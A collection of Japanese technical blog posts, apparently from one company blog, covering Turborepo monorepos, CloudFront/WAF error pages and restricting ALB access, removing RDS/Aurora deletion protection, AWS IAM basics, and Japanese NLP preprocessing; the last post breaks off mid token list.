なお、コマンド入力時の操作についてはturbo.jsonに記載することである程度自由に操作できます。 今回はbuildなのでコマンド実行時に必ずキャッシュさせていましたが、させないことも可能です。 また、コマンド実行時に--filterオプションを用いることで、特定のディレクトリのnpm scriptsのみを実行させるということもできます。 ちなみに、現在Beta機能ですが、Vercel経由でリモートキャッシングも可能です。 これを用いることで、チーム全体でキャッシュを使用できます。 npm workspacesを用いたローカルpackageの利用 これは turborepo の機能ではありませんが、turborepoを用いることでこの恩恵にあずかることができるため紹介します。 npmの機能の一環に、npm workspacesというものがあります。 これは簡単に言うとローカルに作成したpackageをnpm管理できる機能で、npmにアップロードしていない自作パッケージをあたかもnpm上にあるパッケージであるかのように使用できる機能です。 モノレポでない場合はあまり使う機会のない機能なのですが、モノレポの場合これは非常に便利な機能となっています。 例えばサンプルの場合、この機能を用いてapps/webとapps/docsのbuttonにpackage/uiのButtonを持ってきています。 フロントエンドであれば、よく使いまわすようなパーツ、アトミックデザインで言うところのatomsに位置するコンポーネントをこのnpm workspacesの管理下に配置しておくことで、より統一感のあるデザインでより高速な開発を実現できます。 設定の共通化 組織全体で何かしらの統一ルールが存在しない場合に起こりがちなのが、設定の非共通化です。 例えばlintの場合、言語が違う中で設定が異なるのは別に問題ないのですが、同じJavaScriptでチームごとにeslintの設定が異なるというのは開発時に不要な問題を起こしてしまうことにつながりかねません。 サンプルのようにnpm workspacesをうまい事活用すれば、同じeslintの設定を複数のディレクトリで採用することができます。 これで、フロントサイドではシングルクォーテーション、サーバーサイドではダブルクォーテーションといった些細なルール違いから逃れ、統一感のあるコーディングが可能となります。 依存関係の可視化 ※実行にはGraphvizのインストールが必要です。 モノレポの運用にうまくいかないと、依存関係が複雑化してしまうことがあります。 npm workspaceを使用していると、このパッケージがどのディレクトリで使用されているかわからないので不用意に変更できない、なんてこともあるでしょう。 そんなときのために、Turborepoは依存関係を可視化できます。 例えば、サンプルでbuild時における依存関係を可視化した場合以下のようになります。 npx turbo run build --graph=sample-graph.png 対応する出力形式は、Graphvizの対応する形式なので、pngやjpeg, pdfやhtml, svgやwebpなど有名な形式にはおおむね対応しています。 おわりに 私は個人的にはモノレポ反対派なのですが、Turborepoはかなり便利なツールに感じました。 特に便利なのが、他のパッケージと同じくnpmでインストールできるので、既存のプロジェクトに後から導入する場合でもそれほど苦ではない点です。 jsに限定されるという欠点こそありますが、その場合は別のツールを使えばいいだけですし、フロントエンドだけでも用いるという方針をとっても、それほど大きな問題にはならないように思えます。 もし、管理が大変なことを理由にモノレポを避けているのであれば、ぜひ一度触ってみてください。
アバター
ゴール Cloudfrontへアクセスした際、以下のパターンに当てはまるときは事前に準備したS3上のファイルを表示させる。 WAF遮断時 メンテナンス時 サーバ停止時 ALBへのアクセス元をCloudfrontのみに制限する。 設定自体は簡単だが、詳細を記載 検証 初めに通常時のアクセスをするための構築を行う。 その後、各パターンによってS3上のファイルを表示させる。→方法としてCloudfrontのエラーページ設定を行う。 通常時 以下の構成とする。 設定内容(※東京リージョンで構築) ACM パブリック証明書:xxx.mynavi.jp Cloudfront(バージニア北部)用とALB(東京)用 Cloudfront オリジン:ALB ビヘイビア:デフォルトでALBに転送 ACMをアタッチ(代替ドメイン名:xxx.mynavi.jp) 443のみを受け付け、443でオリジンへ転送 ALBが同じ証明書を使用するため、hostヘッダーの転送 WAF マイナビIPを許可 デフォルトはblock block時は403を返す ALB ACMをアタッチ(xxx.mynavi.jp) リスナーは443で、ターゲットのportは80 セキュリティグループでアクセス元をCloudfrontに制限 EC2 apacheでport80からのアクセスを受け付け セキュリティグループでアクセス元をALBに制限 アクセスした際の画面(apache表示) ALBへのアクセス元をCloudfrontのみに制限する方法 AWSマネージドプレフィックスリストを使用することで制限が可能となる。 参考: 公式ドキュメント VPC>マネージドプレフィックスリストより、3つの設定が確認できる。 これはデフォルトで用意されているものとなっており、それぞれCloudfront,S3,dynamodbのCIDRが登録されている。 ※デフォルト設定は所有者IDがAWSとなっている。 この設定を使用して、ALB側で制限をかける。 ALBのセキュリティグループの設定をする際に、ソースからプレフィックスリストを選択することができる。 アクセス元をCloudfrontのみに制限するため、CloudfrontのプレフィックスリストIDを選択する。 AWSマネージドプレフィックスリストが使用可能になる前のアクセス制限方法 AWSが公開しているIPの範囲で制限 AWSが公開しているIP一覧 より、CloudFrontエッジサーバのIPを使用 "service": "CLOUDFRONT_ORIGIN_FACING"→オリジンに接続するCloudFrontエッジサーバのIP "service": "CLOUDFRONT":クライアントからCloudFrontに接続しようとした際に、クライアント側でのアクセスするエッジサーバのIP AWSが公開しているIPは変更する可能性あり カスタムヘッダーで制限 cloudfront側でカスタムヘッダーを追加 ヘッダー名と値は任意で推測されないような文字列を使用 ALBのリスナールールで、IF条件(HTTPヘッダーがCloudfrontで指定したものになっているか)を使用 条件に当てはまったものを通常のターゲット先へ転送 デフォルトアクション(条件に当てはまらなったもの)は503表示等で対応 WAF遮断時 以下の構成とする。 設定内容 Cloudfront オリジンにS3バケットを追加 エラーページ設定 403の場合(WAF遮断時は403を返す設定)、/waf_block.htmlへ飛ばす ビヘイビア設定 waf_block.htmlの場合、S3に飛ばす デフォルトはALBへ飛ばす WAF デフォルトはblock S3 waf_block.htmlを配置 アクセスした際の画面(S3上のwaf_block.html) サーバ停止時 以下の構成とする。 設定内容 Cloudfront オリジンにS3バケットを追加 エラーページ設定 503の場合(サーバ停止時は503を返す設定)、/server_stop.htmlへ飛ばす ビヘイビア設定 server_stop.htmlの場合、S3に飛ばす デフォルトはALBへ飛ばす WAF マイナビIPを許可 デフォルトはblock S3 server_stop.htmlを配置 EC2 停止 アクセスした際の画面(S3上のserver_stop.html) メンテナンス時 以下の構成とする。 設定内容 Cloudfront オリジンにS3バケットを追加 エラーページ設定 403の場合(WAF遮断時は403を返す設定)、/maintenance.htmlへ飛ばす ビヘイビア設定 maintenance.htmlの場合、S3に飛ばす デフォルトはALBへ飛ばす WAF デフォルトはblock S3 maintenance.htmlを配置 アクセスした際の画面(S3上のmaintenance.html) 各htmlファイルを保管しているS3バケット 同じバケットの中にhtmlファイルを配置して検証を行った。 まとめ 商用サービスの場合、以下のような構成とすることでsorryページ等を表示することが可能 Cloudfrontのエラーページ設定をすることで、各ステータスコードに対応するS3ファイルを表示可能 本記事では403と503を扱ったがその他のエラーコードにも対応 メンテナンス時はWAFで特定のIPのみを許可し、デフォルトはブロックすることで、WAF遮断時にメンテンナスページを表示可能 本来のWAF遮断ページをメンテナンスページに変更する ALBへのアクセス元をCloudfrontのみに制限 AWSマネージドプレフィックスリストを使用 2022/02/07からCloudfrontプレフィックスリストが使用可能 従来と比べて便利
アバター
今回はRDSやAuroraで削除保護が有効化されていて削除できない!という場合の対応方法をまとめました。 そもそも削除保護機能とは Amazon RDSデータベースインスタンスとAmazon Auroraデータベースクラスタに対して有効化が可能です。 削除保護を有効化することで、いかなるユーザによっても削除ができなくなります。 それによってうっかりミスでデータベースを削除してしまった!というのを防ぐことができます。 削除保護が有効化されたデータベースを削除するには データベースの削除を試みる 削除したいデータベースを選択>アクション>削除 削除保護が有効化されている場合、このようなメッセージが表示されます。 データベースの設定を見に行くと、確かに削除保護が「有効」になっていました。 削除保護の無効化を試みる データベースを選択>変更>追加設定 削除保護の有効化を解除します。 データベース削除をすぐに行う場合は、変更のスケジューリングで「すぐに適応」を選択します。 ※「次回の定期メンテナンス期間中に適用」を選択すると、変更の反映までに時間がかかりますので注意してください。 もう1度データベースの削除を試みる 無事、削除ができました。 注意点 Auroraの場合、クラスタに削除保護の有効化がかかっています。 ですのでインスタンスではなく クラスタ の設定を変更し、削除保護を無効化する必要があります。 ちなみに私はインスタンスの方で削除保護の解除を試みようとし、削除保護解除の欄がない!と非常に焦ってしまいました。
アバター
はじめに 「まずはアカウントを…あっいや、AWSのアカウントというのはそういう感じのものではなくて……」 AWSをはじめて導入する方と打ち合わせを行うと、ほぼ毎回出てくる話題です。 今回はAWSにおけるアカウントやユーザーまわりを(自分のために)まとめていきます。 AWSアカウント AWSにおけるアカウントとは、「ひとつひとつの環境のこと」を指しています。 AWSを利用したいと思ったら、まずはAWSアカウントを払い出してもらう必要があります。 その際、Amazonアカウントのような個人に紐づいているようなアカウントを想像される方もいるのですがAWSアカウントはそういう位置づけのアカウントではありません。 ※冒頭のセリフはこの説明にたじろいでしまっている私です。 AWSアカウントとは「ひとつひとつの環境」のことを指しており、利用者はそのアカウント範囲内でVPCやEC2といったAWSリソースを複数持つことが可能です。 AWSアカウントの払い出しに必要な情報は以下です。 メールアドレス パスワード 連絡先 支払情報 rootユーザー rootユーザーとは、AWSアカウントの作成時に作成をされるものです。 アカウント内のすべてのAWSサービスとリソース、そして請求情報に対してフルアクセス権限を持ったユーザーになります。 AWSの公式からは、日常的なタスクにおいてはrootユーザーは使用せず、IAMユーザーなどを使用することが推奨されています。 最初のIAMユーザー作成の際はrootユーザーの使用が必要となります。 IAM AWS Identity and Access Management(IAM)は、AWSリソースへのアクセスを安全に管理するためのサービスです。 IAMユーザー AWSアカウント内での権限をカスタマイズできるユーザーになります。 一般的に想像されるアカウント(個人に紐づくアカウント)に近い概念かと思います。 IAMユーザーの作成直後は何も権限が与えられていません。 そこにIAMポリシーをアタッチすることで権限のカスタマイズが行えます。 IAMポリシー AWSリソースに対してのアクセス権限などをオブジェクト式に定義可能なものになります。 IAMポリシーはJSONで表されます。 { "Version": "2012-10-17", "Statement": [  { "Sid": "hoge", "Effect": "Allow", "Action": "ec2:StartInstances", "Resource": "*" } ]} 上記のポリシーを簡単に日本語にすると、 「このポリシーがアタッチされたユーザーは、アカウント内のすべてのEC2を起動をすることを許可する」 という意味を持ちます。 IAMグループ 複数のIAMユーザーをグルーピングすることができます。 IAMグループを使用することで、複数のIAMユーザーに対してまとめてIAMポリシーをアタッチすることが可能です。 その際、IAMユーザーは複数のIAMグループに属すことができます。 IAMロール IAMロールでは、IAMポリシーを複数アタッチして権限をグルーピングしています。 主な使い方としては、AWSリソースに対して権限を付与します。 例えば、IAMロールには以下のIAMポリシーがグルーピングされているとします。 S3バケットへのフルアクセス許可 Lambdaの実行権限 このIAMロールがアタッチされたリソースはS3バケットへのアクセスが許可され、Lambdaを実行できるようになります。 おまけ AWS スイッチロール 複数のAWSアカウントを利用する際、それぞれのアカウント権限をロールとして付与をすることでAWSアカウント切り替えを楽にできる機能のことです。 その際、ロールに付与されているポリシーによってそのアカウント内で行えることが制限されます。 AWSアカウントID IAMロール 表示される際の名前 表示される際の色 上記4つ(うち2つは任意)を入力します。 コンソール上で、クリック一つでアカウントの切り替えが可能になります。 さいごに AWSにおけるアカウントやユーザーといった概念は複雑かと思います。 大まかでも意味合いをつかむことで、セキュリティ面や運用面においてベストな使い方が実現できるかと思います。
アバター
はじめに はじめまして、AIシステム2課のY.Nです。 今回は自然言語処理を行なうにあたり下処理ともいえる部分で有効な処理について、 トークナイザーと正規化から取り組んでみようかと思います。 背景 自然言語処理を行なう中でよくあるタスクとして、各文の特徴的な単語はどれにあたるのかというものがあります。 TF-IDFを使うにしろ、Word2Vecを使うにしろ、そこに渡す内容次第で最終的な内容が大きく変わる可能性もあります。 そこでそれらのツールに渡す前にできるだけきれいなものにできないかということで、 今回は「ストップワードの処理」と「正規化」の観点から下処理を行なおうと思います。 前提 - 形態素解析 トークナイザー・辞書を使って文章を最小単位(形態素)に分割する処理のことを形態素解析といいます。 分かち書きだけでなく、読み方や原形、品詞なども一緒に表示するようにも可能です。 文章を特徴づけるもの 先程の例では、「が」「です」「。」などが含まれておりましたが、 これらはどこにでも出てくる単語であり、その文章を特徴づける要因にはなりえません。 そこで、今回は単語の品詞を「動詞」「名詞」「形容詞」に限定して抽出しようと思います。 ['私','は','マイナビ','の','社員','です','。','マイナビ','が','好き','です','。'] ⇩「動詞」「名詞」「形容詞」に限定⇩ ['私','マイナビ','社員','マイナビ','好き'] ストップワードについて たとえ、動詞、名詞、形容詞であってもタスクによっては不要や邪魔な単語の可能性はあります。 そのような取り除くべき単語を「 ストップワード 」と言います。 今回は既存のストップワードリストである Slothlib を使って取り除きたいと思います。 Slothlibは標準として310単語が登録されています。 リンク先に単語の一覧があるためお時間があるときに中身の確認をしてみてください! 先程の例からストップワードを取り除いた結果 ['マイナビ','社員','マイナビ','好き'] 「私」という単語が除外されました。 正規化(ノーマライズ)について 無関係な文 よくテキスト(特にニュース記事やプレスリリースメールなど)では テキストリンク などが含まれており、 本文の内容と無関係のようなものが邪魔をすることがあります。 これらはトークナイザーに通す前に取り除きたいです。 数字 また、数字についても異なる趣旨のテキストでも同じ数字が含まれていると、 その数字に釣られて同じ文章であると判断されかねないです。 そこで数字も削除することにします。 半角・全角の有無、長音(伸ばし棒) 日本語を処理していると厄介なものとして半角・全角や長音(伸ばし棒)の濫用が登場してきます。 例えば、広告で使われる「セーーーーーール」のような強調表現がときどき見受けられます。 その他にも「セール」のように全部半角になっているような文字列も「セール」のように一律で扱いたいものです。 そのように表記の揺れを正規化するモジュールとして neologdn を使いたいと思います。 他にも調べるといくつかあると思いますので、お時間あればぜひ! 補足 - 正規化モジュールneologdnについて 今回取り上げた正規化モジュールneologdnについて少し補足をさせていただきます。 基本的な正規化ルールは neologdのwiki をベースにしています。 ただwikiにあるサンプルコードはpythonですが、neologdnは同等の処理をCythonで実装しているため、 約2倍程度処理速度の向上がされております。 またオプション引数として repeat というものがあります。 これは同じ文字が連続するときに、何文字(回)に短縮するのかを指定するものになります。 指定しない場合は短縮化されません。 しかし、このオプション引数repeatは注意が必要になります。 極端に少ない値を指定すると、意味が変わったり文が成立しなくなったりする恐れがあります。 neologdn.normalize('肩たたき', repeat=1)# -> '肩たき' また、長音記号(伸ばし棒)だけは例外の処理になり、 オプション引数repeatの指定の有無に限らず、いずれの場合でも1文字に短縮されます。 実際に処理をする 今回は検証データとして弊社マイナビのwikipediaの文章を使おうと思います! (検証用にするには思ったよりも文章短かった) 「マイナビ」『フリー百科事典 ウィキペディア日本語版』( http://ja.wikipedia.org/ )。2022年4月5日10時(日本時間)現在での最新版を取得。 クラス化とか関数化とかもろもろの準備をそろえて処理を行ないました。 処理前と処理後の文章載せるので結構見にくいかもしれないです! 株式会社マイナビMynavi Corporationマイナビ本社が入居するパレスサイドビルディング種類株式会社市場情報非上場本社所在地 日本〒100-0003東京都千代田区一ツ橋一丁目1-1パレスサイドビルディング設立1973年8月15日業種サービス業法人番号3010001029968 事業内容(1)新聞の発行及び出版事業(2)就職情報誌の提供、求人・採用活動に関するコンサルティング(3)宣伝、広告、PR業(4)労働者派遣事業、有料職業紹介事業(5)セミナー・講演会・講習会等催事の企画・立案・実施(6)人材育成、企業経営のコンサルティング、教育・研修業務(7)進学に関する情報の提供、生徒・学生の募集に関するコンサルティング(8)各種検定試験の運営および運営の請負(9)ブライダル情報の提供(10)不動産の賃貸・譲渡に関する情報の提供、不動産の賃貸および仲介・斡旋業務(11)旅行業、宿泊施設に関する情報の提供(12)コンピュータソフトウェア、ゲームソフトウェア等の企画・開発・制作および販売(13)通信回線、コンピュータシステムを利用した情報処理、情報提供サービス(14)ヘルスケアに関する事業(15)上記に付帯するその他の事業代表者代表取締役社長 中川信行資本金21億0210万0千円(2018年3月17日現在)売上高1745億円(2018年9月期)営業利益364億2110万5千円純利益99億3715万9千円純資産266億9266万8千円(2018年9月30日現在)総資産480億7872万6千円(2018年9月30日現在)従業員数グループ全体社員数約9000名決算期9月30日主要株主毎日新聞社 10%弱社員持株会主要子会社グループ企業の項目を参照外部リンクhttps://www.mynavi.jp/特記事項:2011年10月に毎日コミュニケーションズより社名変更テンプレートを表示株式会社マイナビ(Mynavi Corporation)は、就職・転職・進学情報の提供や人材派遣・人材紹介などを主業務とする日本の大手人材・広告企業である。また、同名のブランドで人材情報サービスのポータルサイトを運営している。1973年に株式会社毎日コミュニケーションズ(まいにちコミュニケーションズ、Mainichi Communications Inc.)として創業。2011年10月1日より現在の社名となった。目次1 概要1.1 ブランド名ポータルサイト1.1.1 マイナビ各種ポータルサイト2 沿革3 グループ企業3.1 過去のグループ企業4 CM・イメージキャラクター5 関連項目6 脚注7 外部リンク概要[編集]元々は毎日新聞社の関連会社として設立され、現在も本社が毎日新聞社と同じパレスサイドビルディングにあるほか、健康保険組合なども共通である。そのため、世間的には毎日新聞社のグループ企業と認識されることが多いが、現在の同社に対する毎日新聞社の持株比率は10%を割っており、資本的なつながりは非常に薄くなっている(毎日新聞社側でも「グループ会社」ではなく「友好会社」の扱いとしている[1])一方で、ライバル企業の朝日新聞社も若干出資している[2]。2015年10月にマイナビ出版へ分社した出版事業においても、毎日新聞に掲載された連載記事や連載小説の書籍化は2015年4月に設立された毎日新聞出版で行っており(出版社設立以前は毎日新聞社自身で出版を行っていた)、マイナビでは行われていなかった。ただし、旧・毎日コミュニケーションズ時代に発売したニンテンドーDS用ソフト『最強の漢字ドリル5万問』では毎日新聞社が出題協力している[3]。旧・毎日コミュニケーションズ時代は、一般向けの略称として英字略称の「MYCOM」(マイコム)を用いていたほか、提供するサービスの多くに「毎日」を冠していたが、2007年3月にCIを導入しカタカナ表記の「マイコミ」に略称を切り替え、自社が運営するサービスの冠名称も順次「マイコミ」もしくは「マイナビ」に切替を実施していた。現在の社名は、主力サービスである就職情報サイト「マイナビ」を企業名に採用したものであり、社章もマイナビのmとnをかたどったラインで人生の「波」を、波に寄り添うドットでその「転機」を表現したMNマークを採用している。2008年から朝日放送テレビ(ABCテレビ)[4]主催の男子プロゴルフツアー「ABCチャンピオンシップゴルフトーナメント」に特別協賛し、「マイナビABCチャンピオンシップゴルフトーナメント」として実施された。2017年からプロ野球オールスターゲームでは特別協賛し、「マイナビオールスターゲーム」として実施。ブランド名ポータルサイト[編集]マイナビ(Mynavi)は、株式会社マイナビが運営する人材情報サービスのポータルサイトである。「マイナビ」のブランド名は、それまで毎日コミュニケーションズが提供してきた様々な人材情報系サイトを統合した新たなサービス・ブランドとして、2007年1月末発表、2007年3月6日付使用開始された。「マイナビ」という呼称が最初に使われたのは、新卒学生向け就職情報サイト「毎日就職ナビ」(まいにちしゅうしょくナビ)の略称としてである。これが人材情報サービス全体を示す共通ブランドとして昇格し使用された。2011年10月1日には、活力のあるブランドとして浸透したマイナビ呼称を社名として採用し、毎日コミュニケーションズという企業名を株式会社マイナビに変更した[5]。マイナビ各種ポータルサイト[編集]従来から同社が手がけていた新卒学生向け(マイナビ20○○と西暦がつく)、転職希望者向け、派遣希望者向け、進学希望者向けなどのサービスに加え、2007年秋にアルバイト希望者向けサイトをオープンするなど、総合人材情報サイトとして規模拡大を続けた。2012年に「マイナビ賃貸」「マイナビウエディング」といった人材情報以外の分野のサイトを相次いでオープンさせ、リクナビやSUUMOなどを展開する同業他社有力企業群であるリクルートグループの対抗勢力としての姿勢を強く打ち出している。沿革[編集]1973年8月15日 - 株式会社毎日コミュニケーションズ設立。当初は新聞・出版のほか、絵画・美術品の輸入販売を目的として設立。1978年 - 海外留学を目指す大学生の留学手続き代行を携わる「個人留学部門」が発足され、日中文化交流の一環で書道訪中団を中国に送り込む。1981年5月 - 就職情報誌『毎日就職ガイド』創刊。1984年1月 - 『週刊将棋』創刊。1993年4月 - 『Mac Fan』創刊。1993年12月 - 『PCfan』創刊。1995年12月 - インターネットでの就職情報提供サービス「Career Space」(のちの「毎日就職ナビ」、現在の「マイナビ」)を開始。1996年7月 - コンピュータゲーム雑誌『The 64DREAM』(2001年に『ニンテンドードリーム』へ誌名変更)創刊。2001年12月10日 - 株式会社MCプレスを設立。2006年10月30日 - 東京地図出版株式会社を子会社化。2008年8月31日 - MCプレスを解散。2009年3月31日 - 日本将棋連盟発行の刊行物を制作・販売すると発表[6]。2011年10月1日 - 株式会社マイナビに社名変更[7]。同日、ニュースサイト「マイコミジャーナル」と「COBS ONLINE」を統合しマイナビニュースがオープン。2012年2月1日 - 完全子会社の東京地図出版株式会社を吸収合併。2012年10月1日 - 完全子会社の株式会社マイナビエージェントを吸収合併。2014年4月 - 株式会社マイナビ浜松を吸収合併。2014年8月1日 - 株式会社マイナビ静岡を吸収合併。2015年10月1日 - 出版事業を分社化し、株式会社マイナビ出版を設立[8]2015年 - 厚生労働省委託事業「職業紹介優良事業者認定制度」において「職業紹介優良事業者」事業者認定を取得[9]2016年2月23日 - 株式会社マイナビコリア(Mynavi KOREA)を設立[10]。2016年6月1日 - ヘルスケア事業および障がい者雇用開発部門を分社化し、株式会社マイナビパートナーズを設立[11]。2017年11月1日 - 赤坂BLITZの命名権を取得し、「マイナビBLITZ赤坂」となる[12]。グループ企業[編集]株式会社マイナビ出版 - 2015年10月1日に出版事業部を分社。株式会社マイナビサポート - 発送代行等のアウトソーシング会社。旧毎日ビジネスサポート。株式会社毎日オークション - 美術オークション会社。2001年10月に毎日コミュニケーションズ美術事業部が独立して設立。株式会社マイナビが株主。株式会社毎日学術フォーラム - 各種学会の業務受託会社。2006年11月24日に設立。株式会社マイナビパートナーズ - 2016年6月1日にヘルスケア事業および障がい者雇用開発部門を分社。日本エス・エイチ・エル - イギリスのSHLグループとライセンス契約を結んでいる人材アセスメントサービス会社。2007年5月に株式26.44%の譲渡を受ける。2011年9月末現在、マイナビが筆頭株主(29.01%)となっている。Mynavi USA Corporation - アメリカ・ニューヨークの現地法人。2011年10月1日に毎日コミュニケーションズUSAから商号変更。毎日協通(北京)諮詢有限公司 - 中国・北京の現地法人。北京毎日協通人力資源有限公司 - 中国・北京の現地法人。株式会社マイナビコリア(Mynavi KOREA Corporation) - 韓国・ソウルの現地法人。2016年2月26日に韓国貿易協会と業務協約を締結[13][14]。過去のグループ企業[編集]株式会社MCプレス - コンビニ規制により分離独立した出版社(有害図書を参照のこと)。2008年8月に解散。東京地図出版株式会社 - 2006年10月に株式譲渡を受け子会社化。2012年2月に吸収合併。株式会社マイナビエージェント - 総合人材派遣業。2011年10月1日に株式会社毎日キャリアバンクから商号変更。2012年10月に吸収合併。株式会社毎日エデュケーション - 毎日コミュニケーションズ海外事業部の留学斡旋事業を事業譲受した会社(法人自体はマイナビのグループ企業ではない)。株式会社マイナビ浜松 - 静岡西部に特化した人材情報会社。2011年12月に設立。2014年4月に吸収合併。株式会社マイナビ静岡 - 静岡に特化した人材情報会社。2003年5月に毎日コミュニケーションズ静岡支社が株式会社MYCOM静岡として独立。2011年10月1日に株式会社マイコミ静岡から商号変更。2014年8月に吸収合併。CM・イメージキャラクター[編集]石川遼 - 全マイナビブランド共通大塚愛 - マイナビ2010flumpool - マイナビ2011有吉弘行 - マイナビ2015、2016内村光良 - マイナビ2017黒島結菜 - マイナビ2018スガシカオ - マイナビ転職前田敦子 - マイナビ転職(2013年イメージキャラクター)石原さとみ - マイナビ転職・イメージキャラクター(2015年 - )[15]有村架純、山﨑賢人 - マイナビバイト波瑠 - マイナビ看護師飯豊まりえ - 初代マイナビウエディングガール金城茉奈 - 2代目マイナビウエディングガール新田真剣佑 - マイナビウエディングキャラクター吉川愛 - 3代目マイナビウエディングガールAKB48(谷口めぐ、福岡聖菜、小栗有以、樋渡結依、久保怜音) - マイナビ賃貸吉沢亮 - マイナビバイト関連項目[編集]マイナビニュース世界遺産検定愛しの仕事さま。 - マイナビ一社提供の学生向け就職活動情報番組将棋の棋戦レディースオープントーナメントマイナビ女子オープン男子プロゴルフツアーマイナビABCチャンピオンシップゴルフトーナメントプロ野球横浜DeNAベイスターズ - 2008年のみユニフォームスポンサー。東京ヤクルトスワローズ - 2014年現在トップスポンサー。本拠地の明治神宮野球場にも広告を掲出。2015年のセントラル・リーグクライマックスシリーズ(ヤクルトが同年のリーグを制覇したので「2015 マイナビセントラルリーグクライマックスシリーズ ファイナルステージ」として協賛)2018年のセントラル・リーグクライマックスシリーズ (ヤクルトがレギュラーシーズンを2位で終えたため、「2018マイナビ クライマックスシリーズ セ ファーストステージ」として協賛)マイナビオールスターゲーム - 2017年からの冠スポンサー。プロボクシング村田諒太 - トランクススポンサープロビーチバレーボール坂口佳穂・鈴木悠佳子 - 所属選手ジャパンビーチバレーボールツアー - 2016年より開始。東京大会を「マイナビシリーズ」として協賛。プロサッカーロアッソ熊本 - 2017年より2019年までユニフォーム背中上部に広告を掲載。ベガルタ仙台 - 2021年よりユニフォームズボン前部に広告を掲載。女子サッカーベガルタ仙台レディース - 2017年度より4年間、パートナー契約により「マイナビベガルタ仙台レディース」の名称となる。2021年よりチームを完全に買収し「マイナビ仙台レディース」の名称で運営する[16]。プロバスケットボール千葉ジェッツふなばし - 2016-17シーズンよりオフィシャルパートナー。マイナビ Be a booster! B.LEAGUEウィークリーハイライト - BS11にて放送されるB.LEAGUE情報番組。未確認フェスティバル - 2019年度のメインサポーターに就任し、「マイナビ未確認フェスティバル2019」として開催。新聞社系出版社毎日新聞出版(毎日新聞社系列。2015年毎日新聞社出版局を分社化)朝日新聞出版(朝日新聞社系列)産経新聞出版(産業経済新聞社系列。発売:扶桑社)中央公論新社(読売新聞グループ本社傘下 読売新聞東京本社も書籍を刊行)日本経済新聞出版社(日本経済新聞社系列)日経BP(同上)大東亜帝国脚注[編集][脚注の使い方]^ 毎日新聞グループホールディングス - 毎日新聞社^ 有価証券報告書、第165期(平成29年4月1日 - 平成30年3月31日)、91ページ、朝日新聞社。EDINET提出書類。この時点では400,000株を保有。^ 毎日新聞社協力 最強の漢字ドリル5万問^ 2017年度まで、放送持株会社移行前の旧・朝日放送。^ 株式会社 毎日コミュニケーションズ、「株式会社マイナビ」に社名を変更^ 『将棋世界』『将棋年鑑』は当初「販売のみ」と発表されていたが、のち「制作・販売」と変わった。^ 株式会社 毎日コミュニケーションズ、「株式会社マイナビ」に社名を変更^ 出版事業部門を分社化し、株式会社マイナビ出版を設立(株式会社マイナビ2015年9月15日 10月2日閲覧)^ “企業情報:マイナビエージェントの評判について | 転職wiki”. 転職wiki. 2018年6月2日閲覧。^ 会社情報 – Mynavi KOREA^ 株式会社マイナビパートナーズを設立 (2016.06.01) | お知らせ | マイナビ^ 「赤坂BLITZ」ネーミングライツ(命名権)を取得^ 会社情報 – Mynavi KOREA^ 「韓国の若者よ、日本で就職しよう!」 韓国協会が支援方針 すでに説明会開催(1/2ページ) - 産経ニュース^ “マイナビ:石原さとみさん起用 新CMソングはファンキー加藤さん” (2015年1月23日). 2015年1月23日閲覧。^ マイナビベガルタ仙台レディースの経営権譲渡 株式会社マイナビと合意書締結のお知らせ - ベガルタ仙台・2020年9月1日外部リンク[編集]株式会社マイナビマイナビ株式会社マイナビ (@mynavi_pr) - Twitter先代:マツダ2008年-2016年NPBオールスターゲームオフィシャル・スポンサー2017年-次代:N/A表話編歴毎日新聞社本社毎日新聞グループホールディングス(グループ持株会社 東京都千代田区)東京本社(東京都千代田区)大阪本社(大阪府大阪市北区)西部本社(福岡県北九州市小倉北区)中部本社(愛知県名古屋市中村区)支社・本部北海道支社(北海道札幌市中央区)福岡本部(福岡県福岡市中央区)ささしまオフィス(愛知県名古屋市中村区)現在の刊行物毎日新聞毎日新聞デジタルTAP-i毎日小学生新聞毎日ウィークリー点字毎日サンデー毎日毎日新聞縮刷版エコノミストエコノミスト投資の達人月刊NewsがわかるMMJ過去の刊行物毎日デイリーニューズMAINICHI RT毎日中学生新聞毎日こどもしんぶんカメラ毎日毎日年鑑まんたんブロード系列新聞社スポーツニッポン新聞社福島民報社下野新聞社関連放送局TBSホールディングス(TBSテレビ / TBSラジオ / BS-TBS)1MBSメディアホールディングス(毎日放送 / MBSラジオ))1RKB毎日ホールディングス(RKB毎日放送(ラジオ))1テレビ山口2和歌山放送2ラジオ福島2BS113広告関連毎日広告社不動産関連毎日ビルディングスポーツ関連選抜高等学校野球大会都市対抗野球大会社会人野球日本選手権大会全日本クラブ野球選手権大会全国高等学校ラグビーフットボール大会日本フットボール優勝大会甲子園ボウル毎日テニス選手権黒鷲旗全日本男女選抜バレーボール大会全日本実業団対抗駅伝競走大会全日本実業団対抗女子駅伝競走大会別府大分毎日マラソン大阪マラソン全国高等学校駅伝競走大会毎日スポーツ人賞毎日杯毎日王冠王将戦名人戦本因坊戦全日本アマチュア本因坊戦浜寺水練学校歴史・事件毎日新聞の歴史 / 大阪毎日新聞 / 東京日日新聞時事新報光文事件竹槍事件本社襲撃事件西山事件グリコ・森永事件に関する捏造事件Who are you?報道社長監禁事件毎日デイリーニューズWaiWai問題関連人物カテゴリ:毎日新聞社の人物 / 本山彦一松本重太郎原敬小松原英太郎福地源一郎関直彦伊東巳代治加藤高明城戸元亮岡實奥村信太郎高石真五郎本田親男上田常隆梅島貞山本光春田中香苗平岡敏男山内大介渡辺襄小池唯夫斎藤明北村正任朝比奈豊丸山昌宏高橋信三坂田勝郎斎藤守慶古谷綱正西山太吉細川隆一郎三宅久之鳥井守幸岩見隆夫鳥越俊太郎嶌信彦岸井成格牧太郎近藤勝重与良正男芥川龍之介井上靖山崎豊子種村直樹関連項目日曜くらぶ(日曜版)JNNJRN毎日新聞ニュース桜田です!アサッテ君ウチの場合はぐうたらママ毎日かあさんマイナビマイナビ出版毎日映画社毎日信用組合ナゴヤキャッスル千葉ロッテマリーンズまいまいクラブ脚注1JNN加盟局における友好会社としての関係(主要な局のみ掲載)2マスメディア集中排除原則において「支配」に当たる10%を超える議決権を有している局3グループ会社典拠管理 NDL: 001093756VIAF: 255040138WorldCat Identities: viaf-255040138 ここから「[編集]」「改行コード」「タブ」を削除し、「動詞」「名詞」「形容詞」のみを抽出したものが以下になります。 ['株式会社', 'マイナビ', 'Mynavi', 'Corporation', 'マイナビ', '本社', '入居', 'する', 'パレスサイドビルディング', '種類', '株式会社', '市場', '情報', '上場', '本社', '所在地', '日本', '東京', '千代田', '一ツ橋', '丁目', 'パレスサイドビルディング', '設立', '年月日', '業種', 'サービス', '業', '法人', '番号', '事業', '内容', '新聞', '発行', '出版', '事業', '就職', '情報', '提供', 